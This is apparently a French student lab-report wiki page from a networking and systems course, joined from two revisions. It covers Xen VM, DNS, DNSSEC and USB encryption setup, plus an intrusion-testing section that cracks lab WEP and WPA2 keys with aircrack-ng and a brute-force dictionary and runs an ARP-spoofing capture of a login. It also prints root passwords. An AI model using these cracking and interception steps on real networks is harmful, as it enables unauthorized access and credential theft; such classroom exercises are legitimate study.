on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54018TP sysres IMA2a5 2020/2021 G52020-11-27T17:18:57Z<p>Aglaine : /* Génération des clef asymétrique */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
